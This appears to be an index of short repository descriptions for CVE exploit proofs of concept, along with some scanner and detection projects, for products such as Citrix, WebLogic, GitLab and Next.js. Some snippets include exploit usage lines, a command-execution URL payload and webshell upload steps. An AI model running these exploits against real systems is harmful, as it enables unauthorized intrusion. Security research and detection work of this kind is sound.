CVE-2019-19781-CitrixRCE

Citrix Unauthorized Remote Code Execution Attacker - CVE-2019-19781 References: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ Bypassing: 1 - Deleted / Modified scripts at: /vpn/../vpns/portal/scripts/ 2 - Forward Slash "/" issues after perl commnad...

POC-CVE-2026-0768

Description Proof of concept exploit code for CVE-2026-0768 Usage python3 poc.py -u -c...

React2Shell-PoC-CVE-2025-55182

React2Shell Exploitation Simulation CVE-2025-55182 Note: This document is for educational and security research purposes only. Do not use it to attack systems without authorization. 1. Overview CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution RCE vulnerability...

CVE-2022-40471

CVE-2022-40471 Remote code execution via unrestricted file upload vulnerability in the Clinic's Patient Management System v 1.0 Technical description: Remote Code Execution in Clinic's Patient Management System v 1.0 allows Attacker to Upload arbitrary php webshell via profile picture upload...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips Arbitrary File Read → SECRETKEYBASE Theft → RCE Overview CVE-2026-66066 is a critical-severity CVSS 9.5 pre-authentication arbitrary file read to remote code execution chain in Ruby on Rails Active Storage, affecting Rails 7.2.0–7.2.3...

CVE-2025-32433-available-for-windows

CVE-2025-32433 Information about the vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help...

CVE-2017-3506

What is this? This is a poc of CVE-2017-3506Weblogic XMLDecoder Serialization How to use it? check vul java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp Then you can...

CVE-2020-3956

CVE-2020-3956 PoC exploit for VMware Cloud Director RCE CVE-2020-3956 Technical advisory is available here: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...

Onapsis_CVE-2025-31324_Scanner_Tools

Vulnerability and Indicator of Compromise IoC Scanner for CVE-2025-31324 Visual Composer Metadata Uploader Vulnerability CVE-2025-31324 is a critical CVSSv3 10 vulnerability affecting SAP NetWeaver systems, specifically within the Visual Composer Metadata Uploader component. This vulnerability...

CVE-2019-2729

CVE-2019-2729 Exploit code for CVE-2019-2729 Oracle Weblogic running on Windows. Can create a callback to a CobaltStrike listener or a Metasploit handler with payload windows/meterpreter/reversetcp Also have a non-beacon exploit that just executes commands on the underlying host. exploit.py. This...

CVE-2026-40175

🚨 CVE-2026-40175 - Critical Vulnerability in Axios Prototype Pollution Gadget → Remote Code Execution & Cloud Compromise 📢 Overview Axios — one of the most popular HTTP clients for JavaScript browser & Node.js — contains a critical vulnerability prior to version 1.15.0. A specific "gadget" attack...

cve-2020-14882

CVE-2020-14882 Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; image: EXP: python...

CVE-2021-22205

CVE-2021-22205 Description - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - create by antx at 2021-10-29. Detail - An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Remote Code Execution CVE-2019-18873, CVE-2019-18839 Multiple Stored XSS vulnerabilities have been found in FUDforum 3.0.9 that can result in remote code execution. Stored XSS via username in forum: Info | Demo Stored XSS via useragent in admin panel: Info ...

CVE-2025-55182

🚨 NextRce — CVE-2025-55182 Next.js / React Server Components RCE NextRce is a security research tool demonstrating CVE-2025-55182 , a critical vulnerability in Next.js App Router applications using React Server Components RSC and Server Actions. This vulnerability allows an attacker to achieve...

Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection

CVE-2025-25257 Detection Engineering Repository Overview This repository provides production-ready detection engineering content for CVE-2025-25257 , a pre-authentication SQL Injection vulnerability in Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x. Successful exploitation can lead...

pwnacle-fusion

pwnacle-fusion Automated exploit for Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Credits to @misssudo for the disclosure Usage: ./pwnacle.rb targeturl payloadurl This exploit uses both CVEs to upload a .jsp shell from your payloadurl which is then reachable from /reports/images/shell.jsp...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC DrayTek unauthenticated remote code execution vulnerability CVE-2022-32548 in /cgi-bin/wlogin.cgi via username field Technical details The web management interface of the vulnerable DrayTek devices is affected by a buffer overflow on the login page at /cgi-bin/wlogin.cgi. A...

HG532d-RCE-Exploit

HG532d RCE Exploit Overview A Remote Code Execution RCE exploit based on CVE-2017-17215 vulnerability. Modded from original PoC code from exploit-db.com to work on Huawei HG532d Home Gateway Routers. Description This RCE exploit is based on CVE-2017-17215 which exploits vulnerabilities in the UPn...

CVE-2020-10148

Usage & Disclaimer This script is a batch detection script for the SolarWinds Orion API remote code execution vulnerability CVE-2020-10148. Usage: Python CVE-2020-10148.py urls.txt Each URL in urls.txt is on a separate line, and the vulnerable addresses are output to vul.txt. Affected versions:...